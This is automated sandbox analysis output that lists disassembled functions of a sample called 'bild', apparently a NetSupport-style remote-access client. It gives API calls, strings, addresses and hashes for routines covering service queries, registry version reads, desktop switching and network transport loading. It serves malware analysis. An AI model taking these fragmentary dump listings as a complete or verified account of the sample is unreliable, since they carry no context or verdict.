Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: System$Metrics$LibraryLoadWindow$AddressAdjustCapsCreateDefaultDeviceErrorFreeLangLastMenuProcRectReleaseVersion_memset
String ID: CreateMainWnd, hwnd=%x, e=%d$NSMWClass$mainwnd ht1=%d, ht2=%d, yppi=%d
API String ID: 1594747848-1114959992
Opcode ID: 75f297c2efb98d08cbe097e8d34710f0383f1ebd178d5accfa4770b5d5071ee0
Instruction ID: 5297cf036ba1cbd73fc44df567c8a611b910eb11675e7325f2afb4d5e36916b9
Opcode Fuzzy Hash: 75f297c2efb98d08cbe097e8d34710f0383f1ebd178d5accfa4770b5d5071ee0
Instruction Fuzzy Hash: C4316275E10219ABDB149FF58C85FAFFBB8EB48709F100529FA25B7284D67469008BA4

Function 1102CC10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 284servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,?,00000000,19141918,1102DD98,00000000,73B292A0,?,00000000,00000000), ref: 1102CE44
OpenServiceA.ADVAPI32(00000000,ProtectedStorage,00000004), ref: 1102CE5A
QueryServiceStatus.ADVAPI32(00000000,?), ref: 1102CE6E
CloseServiceHandle.ADVAPI32(00000000), ref: 1102CE75
Sleep.KERNEL32(00000032), ref: 1102CE86
CloseServiceHandle.ADVAPI32(00000000), ref: 1102CE96
Sleep.KERNEL32(000003E8), ref: 1102CEE2
CloseHandle.KERNEL32(?), ref: 1102CF0F

Strings

NSA.LIC, xrefs: 1102CF56, 1102CF5D, 1102CF8D
ProtectedStorage, xrefs: 1102CE54
NSM.LIC, xrefs: 1102CF47
>, xrefs: 1102CDBB

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$OpenSleep$ManagerQueryStatus
String ID: >$NSA.LIC$NSM.LIC$ProtectedStorage
API String ID: 83693535-2077998243
Opcode ID: 8822f1513d5873ee506041ece4c3caa14d779e6eafa0361d2a69553500dbb03f
Instruction ID: 880dc79335238c7f7dd8ff78cda89552a6d5dde84d0873ba54ec41c4173cff75
Opcode Fuzzy Hash: 8822f1513d5873ee506041ece4c3caa14d779e6eafa0361d2a69553500dbb03f
Instruction Fuzzy Hash: 27B19475E012259FDB25DFA4CD80BEDB7B5BB48708F5041E9E919AB381DB70AA80CF50

Function 6C971D3F Relevance: 21.1, APIs: 14, Instructions: 108threadCOMMON

Download Yara Rule

APIs

__set_flsgetvalue.MSVCR100(6C971DE0,00000008,6C971E16,00000001,?), ref: 6C971D6A

Part of subcall function 6C970341: TlsGetValue.KERNEL32(?,6C970713), ref: 6C97034A

TlsGetValue.KERNEL32(6C971DE0,00000008,6C971E16,00000001,?), ref: 6C971D7B
_calloc_crt.MSVCR100(00000001,00000214), ref: 6C971D8E
DecodePointer.KERNEL32(00000000), ref: 6C971DAC
_initptd.MSVCR100(00000000,00000000), ref: 6C971DBE

Part of subcall function 6C971E9B: GetModuleHandleW.KERNEL32(KERNEL32.DLL,6C971F38,00000008,6C9975E9,00000000,00000000), ref: 6C971EAC
Part of subcall function 6C971E9B: _lock.MSVCR100(0000000D), ref: 6C971EE0
Part of subcall function 6C971E9B: InterlockedIncrement.KERNEL32(?), ref: 6C971EED
Part of subcall function 6C971E9B: _lock.MSVCR100(0000000C), ref: 6C971F01

GetCurrentThreadId.KERNEL32 ref: 6C971DC5
__freeptd.LIBCMT ref: 6C972971
__heap_init.LIBCMT ref: 6C97B8B1
GetCommandLineA.KERNEL32(6C971DE0,00000008,6C971E16,00000001,?), ref: 6C97B8E2
GetCommandLineW.KERNEL32 ref: 6C97B8ED
__ioterm.LIBCMT ref: 6C987B7E
free.MSVCR100(00000000), ref: 6C997485

Memory Dump Source

Source File: 00000001.00000002.4170524693.000000006C961000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000001.00000002.4170510366.000000006C960000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.4170588221.000000006CA14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.4170605422.000000006CA16000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.4170622438.000000006CA19000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c960000_bild.jbxd

Similarity

API ID: CommandLineValue_lock$CurrentDecodeHandleIncrementInterlockedModulePointerThread__freeptd__heap_init__ioterm__set_flsgetvalue_calloc_crt_initptdfree
String ID:
API String ID: 2121586863-0
Opcode ID: 8df13a972451c69a2e80b2a517840e77a7ec1ae3b7b479725b8a4d116618e567
Instruction ID: 182a1581ee49e3bbce170e3318266eb72589c3e0533db6873653359e0594361d
Opcode Fuzzy Hash: 8df13a972451c69a2e80b2a517840e77a7ec1ae3b7b479725b8a4d116618e567
Instruction Fuzzy Hash: 67310830707702EBEF252BBA4A0559D37BAEF7775DB244916E055C2E80DF31C0459A32

Function 11132BF0 Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 107COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11132C60
GetTickCount.KERNEL32 ref: 11132C91
SHGetFolderPathA.SHFOLDER(00000000,0000002B,00000000,00000000,?), ref: 11132CA4
GetTickCount.KERNEL32 ref: 11132CAC

Strings

HasStudentComponents=%d, xrefs: 11132D27
runplugin.exe, xrefs: 11132C3E
%s%s, xrefs: 11132C5A, 11132CFE
schplayer.exe, xrefs: 11132CE8
Software\NSL, xrefs: 11132CD4
CommonPath, xrefs: 11132CCF
Warning. SHGetFolderPath took %d ms, xrefs: 11132CB6

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CountTick$FolderPathwsprintf
String ID: %s%s$CommonPath$HasStudentComponents=%d$Software\NSL$Warning. SHGetFolderPath took %d ms$runplugin.exe$schplayer.exe
API String ID: 1170620360-4157686185
Opcode ID: 8db97a347cf6facb783ebfea5336d263050bbd002d3c3d3218a55bc412e7ce30
Instruction ID: 1138b9c1199a8041912b1953dd267279d987a2a799c8ea79b9a25deb6d60bab0
Opcode Fuzzy Hash: 8db97a347cf6facb783ebfea5336d263050bbd002d3c3d3218a55bc412e7ce30
Instruction Fuzzy Hash: F33157BAE4022E67E700AFB0AC84FEDF36C9B9471EF1000A9E915A7145EA72B545C761

Function 111450A0 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 175registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetVersionExA.KERNEL32(111F0EF0,75BF8400), ref: 111450D0
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 1114510F
_memset.LIBCMT ref: 1114512D

Part of subcall function 11143000: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1110F4CB,75BF8400,?,?,1114515F,00000000,CSDVersion,00000000,00000000,?), ref: 11143020

_strncpy.LIBCMT ref: 111451FA

Part of subcall function 11163A2D: __isdigit_l.LIBCMT ref: 11163A52

RegCloseKey.KERNEL32(00000000), ref: 11145296

Strings

CurrentMajorVersionNumber, xrefs: 11145228
CurrentMinorVersionNumber, xrefs: 11145260
CurrentVersion, xrefs: 11145174
CSDVersion, xrefs: 1114514A
Service Pack, xrefs: 111452DD
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 111450FB

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValueVersion__isdigit_l_memset_strncpy
String ID: CSDVersion$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$SOFTWARE\Microsoft\Windows NT\CurrentVersion$Service Pack
API String ID: 3299820421-2117887902
Opcode ID: a6d85e33813e4188b4b6cdba8074358a089f7fb1fdaa889e4758e92ad03e0a5c
Instruction ID: 1fcbe558ef897eaa1b38a7330f4b62b9d1ba330f7a3c6d488077e096d0eda0f8
Opcode Fuzzy Hash: a6d85e33813e4188b4b6cdba8074358a089f7fb1fdaa889e4758e92ad03e0a5c
Instruction Fuzzy Hash: 6D51D9B1E0022BEFEB51CF60CD41F9EF7B9AB04B08F104199F519A7941E7716A48CB91

Function 11026BA0 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 174sleepCOMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 11026C26
_strtok.LIBCMT ref: 11026C60
Sleep.KERNEL32(1102FC53,?,*max_sessions,0000000A,00000000,00000000,00000002), ref: 11026D54

Strings

Client, xrefs: 11026C16, 11026CBB
*max_sessions, xrefs: 11026CB6
Protocols, xrefs: 11026C11
LoadTransports(%d), xrefs: 11026C9C
TCPIP, xrefs: 11026C82
Retrying..., xrefs: 11026D42
UseNCS, xrefs: 11026C7D
Error. not all transports loaded (%d/%d), xrefs: 11026D28

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _strtok$Sleep
String ID: *max_sessions$Client$Error. not all transports loaded (%d/%d)$LoadTransports(%d)$Protocols$Retrying...$TCPIP$UseNCS
API String ID: 2009458258-3774545468
Opcode ID: 078eda5116f2816b6dc994d4a65e88964a73d5216bb2e8940b960da01685ed19
Instruction ID: 546c7fd96e7e5c201e62e0728b24f9c1e86d1f0ab762c79c207aecf2c2ec1ca9
Opcode Fuzzy Hash: 078eda5116f2816b6dc994d4a65e88964a73d5216bb2e8940b960da01685ed19
Instruction Fuzzy Hash: A951F375E0525E9BDF11EFA9CC80BBEFBB5EB84308FA44069DC1167284E631A846C742

Function 11102C50 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 68threadCOMMON

Download Yara Rule

APIs

Part of subcall function 11089280: UnhookWindowsHookEx.USER32(?), ref: 110892A3

GetCurrentThreadId.KERNEL32 ref: 11102C6C
GetThreadDesktop.USER32(00000000), ref: 11102C73
OpenDesktopA.USER32(?,00000000,00000000,02000000), ref: 11102C83
SetThreadDesktop.USER32(00000000), ref: 11102C90
CloseDesktop.USER32(00000000), ref: 11102CA9
GetLastError.KERNEL32 ref: 11102CB1
CloseDesktop.USER32(00000000), ref: 11102CC7
GetLastError.KERNEL32 ref: 11102CCF

Strings

SetThreadDesktop(%s) failed, e=%d, xrefs: 11102CB9
SetThreadDesktop(%s) ok, xrefs: 11102C9B
OpenDesktop(%s) failed, e=%d, xrefs: 11102CD7

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Desktop$Thread$CloseErrorLast$CurrentHookOpenUnhookWindows
String ID: OpenDesktop(%s) failed, e=%d$SetThreadDesktop(%s) failed, e=%d$SetThreadDesktop(%s) ok
API String ID: 2036220054-60805735
Opcode ID: 6b535c7b41aace8396d526edc80c79a44f907d57885ab2fb7f21c89248cbb4d8
Instruction ID: e6b285a79aa3308c0e4e86645e8e2c70f1a73097c1882eeb774c19519f5c9288
Opcode Fuzzy Hash: 6b535c7b41aace8396d526edc80c79a44f907d57885ab2fb7f21c89248cbb4d8
Instruction Fuzzy Hash: 5D11C679A042167BE7086BB15C89FBFFA2DAFC571CF051438F91786545EE24B40483B6

Function 1115E380 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 57COMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32(NSMWndClass), ref: 1115E3A8
GetLastError.KERNEL32 ref: 1115E3B5
wsprintfA.USER32 ref: 1115E3C8

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Part of subcall function 11029450: _strrchr.LIBCMT ref: 11029545
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029584

GlobalAddAtomA.KERNEL32(NSMReflect), ref: 1115E40C
GlobalAddAtomA.KERNEL32(NSMDropTarget), ref: 1115E419

Strings

m_aProp, xrefs: 1115E3FA
..\ctl32\wndclass.cpp, xrefs: 1115E3D9, 1115E3F5
NSMReflect, xrefs: 1115E407
NSMWndClass, xrefs: 1115E3A0
GlobalAddAtom failed, e=%d, xrefs: 1115E3C2
NSMDropTarget, xrefs: 1115E40E

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AtomGlobal$ErrorExitLastProcesswsprintf$Message_strrchr
String ID: ..\ctl32\wndclass.cpp$GlobalAddAtom failed, e=%d$NSMDropTarget$NSMReflect$NSMWndClass$m_aProp
API String ID: 1734919802-1728070458
Opcode ID: c283eabc343593951191b6a2689ac3898b07c71967e340f2684f7c9ae3ac2948
Instruction ID: 2151ae3f148807adf1b9b51829e7bc1db46dc9b6ec15270657221fcdabbc1952
Opcode Fuzzy Hash: c283eabc343593951191b6a2689ac3898b07c71967e340f2684f7c9ae3ac2948
Instruction Fuzzy Hash: 1B110479A01319ABC720EFE69C84A96F7B4FF2231CB40822EE46543240DA706944CB51

Function 111100D0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

std::exception::exception.LIBCMT ref: 1111013A
__CxxThrowException@8.LIBCMT ref: 1111014F
GetCurrentThreadId.KERNEL32 ref: 11110166
InitializeCriticalSection.KERNEL32(-00000010,?,11031040,00000001,00000000), ref: 11110179
InitializeCriticalSection.KERNEL32(111F08F0,?,11031040,00000001,00000000), ref: 11110188
EnterCriticalSection.KERNEL32(111F08F0,?,11031040), ref: 1111019C
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,11031040), ref: 111101C2
LeaveCriticalSection.KERNEL32(111F08F0,?,11031040), ref: 1111024F

Strings

..\ctl32\Refcount.cpp, xrefs: 111101D6
QueueThreadEvent, xrefs: 111101DB

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$Initialize$CreateCurrentEnterEventException@8LeaveThreadThrow_malloc_memsetstd::exception::exceptionwsprintf
String ID: ..\ctl32\Refcount.cpp$QueueThreadEvent
API String ID: 1976012330-1024648535
Opcode ID: db19f8e7b9fff8ba68d37a9baa43a0e7c0721c068b2f24d3f0a3aafd2fe6ed90
Instruction ID: 7e481d80fa827a07ee7257280804c30d2ae959ce5d98406b053f8524d928f6e4
Opcode Fuzzy Hash: db19f8e7b9fff8ba68d37a9baa43a0e7c0721c068b2f24d3f0a3aafd2fe6ed90
Instruction Fuzzy Hash: 6C41C2B5E00216AFDB11CFB98C84BAEFBF5FB48708F00453AE815DB244E675A944CB91

Function 110607F0 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 289registryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,1117F505,00000000,00000000,73B292A0,00000000,?,00000000), ref: 11060874
_malloc.LIBCMT ref: 110608BB

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

RegEnumValueA.ADVAPI32(?,?,?,00000000,00000000,00000000,000000FF,?,73B292A0,00000000), ref: 110608FB
RegEnumValueA.ADVAPI32(?,00000000,?,00000100,00000000,?,000000FF,?), ref: 11060962
_free.LIBCMT ref: 11060974

Strings

maxname < _tsizeof (m_szSectionAndKey), xrefs: 110608A8
err == 0, xrefs: 11060888
..\ctl32\Config.cpp, xrefs: 11060883, 110608A3, 11060A75
strlen (k.m_k) < _tsizeof (m_szSectionAndKey), xrefs: 11060A7A

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: EnumValue$ErrorExitInfoLastMessageProcessQuery_free_mallocwsprintf
String ID: ..\ctl32\Config.cpp$err == 0$maxname < _tsizeof (m_szSectionAndKey)$strlen (k.m_k) < _tsizeof (m_szSectionAndKey)
API String ID: 999355418-161875503
Opcode ID: 4c6701bf68cd5b1f6cb6252f17f9b7c7c7cabb80937af8afb4b53d9147c09ea9
Instruction ID: c47c75eefe38bee888b154a00c4449ad07b8701d7df13cace45a3bfee881b040
Opcode Fuzzy Hash: 4c6701bf68cd5b1f6cb6252f17f9b7c7c7cabb80937af8afb4b53d9147c09ea9
Instruction Fuzzy Hash: E3A1B075A007469FE721CF64C880BABFBF8AF45308F044A5CE99697684E770F508CBA1

Function 1115BA20 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 183commemoryCOMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,73B292A0,00000000,?), ref: 1115BA67
CoCreateInstance.OLE32(111C4FEC,00000000,00000017,111C4F1C,?), ref: 1115BA87
wsprintfW.USER32 ref: 1115BAA7
SysAllocString.OLEAUT32(?), ref: 1115BAB3
wsprintfW.USER32 ref: 1115BB67
SysFreeString.OLEAUT32(?), ref: 1115BC08

Strings

WQL, xrefs: 1115BB80
root\CIMV2, xrefs: 1115BAA1
SELECT * FROM %s, xrefs: 1115BB61

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
